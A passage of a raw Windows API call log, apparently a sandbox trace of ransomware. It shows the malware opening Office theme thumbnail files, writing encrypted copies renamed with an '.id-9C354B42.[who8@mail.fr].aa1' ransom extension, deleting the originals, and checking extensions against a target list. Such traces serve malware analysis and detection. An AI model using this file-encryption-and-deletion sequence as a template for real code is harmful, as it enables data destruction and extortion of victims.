lpNewFilePointer=0x0) returned 1 [0221.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0221.999] GetLastError () returned 0x0 [0221.999] ReadFile (in: hFile=0x1b0, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x6722, lpOverlapped=0x0) returned 1 [0222.072] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x6730, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x6730, lpOverlapped=0x0) returned 1 [0222.073] ReadFile (in: hFile=0x1b0, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.073] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.074] SetEndOfFile (hFile=0x1fc) returned 1 [0222.074] CloseHandle (hObject=0x1fc) returned 1 [0222.074] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.074] SetEndOfFile (hFile=0x1b0) returned 1 [0222.075] CloseHandle (hObject=0x1b0) returned 1 [0222.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0222.075] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 1 [0222.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0222.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0222.076] lstrlenW (lpString=".doc") returned 4 [0222.076] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0222.076] lstrlenW (lpString=".docx") returned 5 [0222.076] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0222.076] lstrlenW (lpString=".pdf") returned 4 [0222.076] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0222.076] lstrlenW (lpString=".xls") returned 4 [0222.076] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0222.076] lstrlenW (lpString=".xlsx") returned 5 [0222.076] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0222.076] lstrlenW (lpString=".ppt") returned 4 [0222.076] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0222.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0222.076] lstrlenW (lpString=".zip") returned 4 [0222.076] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0222.076] lstrlenW (lpString=".rar") returned 4 [0222.076] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0222.076] lstrlenW (lpString=".bz2") returned 4 [0222.076] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0222.076] lstrlenW (lpString=".7z") returned 3 [0222.076] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0222.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0222.076] lstrlenW (lpString=".dbf") returned 4 [0222.077] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0222.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0222.077] lstrlenW (lpString=".1cd") returned 4 [0222.077] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0222.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0222.077] lstrlenW (lpString=".jpg") returned 4 [0222.077] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0222.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0222.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0222.077] lstrlenW (lpString=".doc") returned 4 [0222.077] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0222.077] lstrlenW (lpString=".docx") returned 5 [0222.077] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0222.077] lstrlenW (lpString=".pdf") returned 4 [0222.078] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0222.078] lstrlenW (lpString=".xls") returned 4 [0222.078] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0222.078] lstrlenW (lpString=".xlsx") returned 5 [0222.078] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0222.078] lstrlenW (lpString=".ppt") returned 4 [0222.078] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0222.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0222.078] lstrlenW (lpString=".zip") returned 4 [0222.078] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0222.078] lstrlenW (lpString=".rar") returned 4 [0222.078] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0222.078] lstrlenW (lpString=".bz2") returned 4 [0222.078] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0222.078] lstrlenW (lpString=".7z") returned 3 [0222.078] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0222.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0222.078] lstrlenW (lpString=".dbf") returned 4 [0222.078] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0222.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0222.078] lstrlenW (lpString=".1cd") returned 4 [0222.078] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0222.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0222.078] lstrlenW (lpString=".jpg") returned 4 [0222.078] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0222.078] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0222.079] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0222.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0222.177] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=32433) returned 1 [0222.177] CloseHandle (hObject=0x1a0) returned 1 [0222.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 0x20 [0222.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0222.178] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0222.178] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.178] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.178] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0222.178] GetLastError () returned 0x0 [0222.178] ReadFile (in: hFile=0x1a0, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x7eb1, lpOverlapped=0x0) returned 1 [0222.182] WriteFile (in: hFile=0x170, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x7ec0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x7ec0, lpOverlapped=0x0) returned 1 [0222.183] ReadFile (in: hFile=0x1a0, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.183] WriteFile (in: hFile=0x170, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.183] SetEndOfFile (hFile=0x170) returned 1 [0222.184] CloseHandle (hObject=0x170) returned 1 [0222.184] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.184] SetEndOfFile (hFile=0x1a0) returned 1 [0222.185] CloseHandle (hObject=0x1a0) returned 1 [0222.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0222.185] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 1 [0222.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0222.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0222.186] lstrlenW (lpString=".doc") returned 4 [0222.186] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0222.186] lstrlenW (lpString=".docx") returned 5 [0222.186] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0222.186] lstrlenW (lpString=".pdf") returned 4 [0222.186] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0222.186] lstrlenW (lpString=".xls") returned 4 [0222.186] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0222.186] lstrlenW (lpString=".xlsx") returned 5 [0222.186] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0222.186] lstrlenW (lpString=".ppt") returned 4 [0222.186] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0222.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0222.186] lstrlenW (lpString=".zip") returned 4 [0222.186] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0222.186] lstrlenW (lpString=".rar") returned 4 [0222.186] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0222.186] lstrlenW (lpString=".bz2") returned 4 [0222.186] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0222.186] lstrlenW (lpString=".7z") returned 3 [0222.186] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0222.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0222.186] lstrlenW (lpString=".dbf") returned 4 [0222.186] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0222.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0222.186] lstrlenW (lpString=".1cd") returned 4 [0222.186] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0222.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0222.187] lstrlenW (lpString=".jpg") returned 4 [0222.187] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0222.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0222.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0222.187] lstrlenW (lpString=".doc") returned 4 [0222.187] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0222.187] lstrlenW (lpString=".docx") returned 5 [0222.187] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0222.187] lstrlenW (lpString=".pdf") returned 4 [0222.187] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0222.187] lstrlenW (lpString=".xls") returned 4 [0222.187] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0222.187] lstrlenW (lpString=".xlsx") returned 5 [0222.187] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0222.187] lstrlenW (lpString=".ppt") returned 4 [0222.187] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0222.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0222.187] lstrlenW (lpString=".zip") returned 4 [0222.187] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0222.187] lstrlenW (lpString=".rar") returned 4 [0222.187] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0222.187] lstrlenW (lpString=".bz2") returned 4 [0222.187] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0222.187] lstrlenW (lpString=".7z") returned 3 [0222.187] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0222.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0222.187] lstrlenW (lpString=".dbf") returned 4 [0222.187] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0222.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0222.188] lstrlenW (lpString=".1cd") returned 4 [0222.188] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0222.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0222.188] lstrlenW (lpString=".jpg") returned 4 [0222.188] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0222.188] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0222.188] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0222.188] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0222.188] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=18817) returned 1 [0222.188] CloseHandle (hObject=0x1a0) returned 1 [0222.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 0x20 [0222.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0222.189] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0222.189] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.189] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.189] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0222.189] GetLastError () returned 0x0 [0222.189] ReadFile (in: hFile=0x1a0, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x4981, lpOverlapped=0x0) returned 1 [0222.191] WriteFile (in: hFile=0x170, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x4990, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x4990, lpOverlapped=0x0) returned 1 [0222.193] ReadFile (in: hFile=0x1a0, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.193] WriteFile (in: hFile=0x170, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.193] SetEndOfFile (hFile=0x170) returned 1 [0222.193] CloseHandle (hObject=0x170) returned 1 [0222.193] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.194] SetEndOfFile (hFile=0x1a0) returned 1 [0222.194] CloseHandle (hObject=0x1a0) returned 1 [0222.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0222.195] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 1 [0222.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0222.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0222.195] lstrlenW (lpString=".doc") returned 4 [0222.195] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0222.195] lstrlenW (lpString=".docx") returned 5 [0222.195] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0222.195] lstrlenW (lpString=".pdf") returned 4 [0222.195] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0222.195] lstrlenW (lpString=".xls") returned 4 [0222.195] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0222.195] lstrlenW (lpString=".xlsx") returned 5 [0222.195] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0222.195] lstrlenW (lpString=".ppt") returned 4 [0222.195] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0222.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0222.196] lstrlenW (lpString=".zip") returned 4 [0222.196] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0222.196] lstrlenW (lpString=".rar") returned 4 [0222.196] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0222.196] lstrlenW (lpString=".bz2") returned 4 [0222.196] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0222.196] lstrlenW (lpString=".7z") returned 3 [0222.196] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0222.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0222.196] lstrlenW (lpString=".dbf") returned 4 [0222.196] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0222.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0222.196] lstrlenW (lpString=".1cd") returned 4 [0222.196] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0222.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0222.269] lstrlenW (lpString=".jpg") returned 4 [0222.269] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0222.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0222.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0222.269] lstrlenW (lpString=".doc") returned 4 [0222.269] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0222.269] lstrlenW (lpString=".docx") returned 5 [0222.270] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0222.273] lstrlenW (lpString=".pdf") returned 4 [0222.273] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0222.274] lstrlenW (lpString=".xls") returned 4 [0222.274] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0222.274] lstrlenW (lpString=".xlsx") returned 5 [0222.274] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0222.274] lstrlenW (lpString=".ppt") returned 4 [0222.274] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0222.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0222.274] lstrlenW (lpString=".zip") returned 4 [0222.274] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0222.274] lstrlenW (lpString=".rar") returned 4 [0222.274] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0222.274] lstrlenW (lpString=".bz2") returned 4 [0222.274] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0222.274] lstrlenW (lpString=".7z") returned 3 [0222.274] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0222.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0222.274] lstrlenW (lpString=".dbf") returned 4 [0222.274] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0222.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0222.274] lstrlenW (lpString=".1cd") returned 4 [0222.274] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0222.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0222.274] lstrlenW (lpString=".jpg") returned 4 [0222.274] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0222.275] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0222.275] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0222.275] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0222.275] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=33559) returned 1 [0222.275] CloseHandle (hObject=0x1fc) returned 1 [0222.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 0x20 [0222.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0222.276] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0222.276] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.276] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 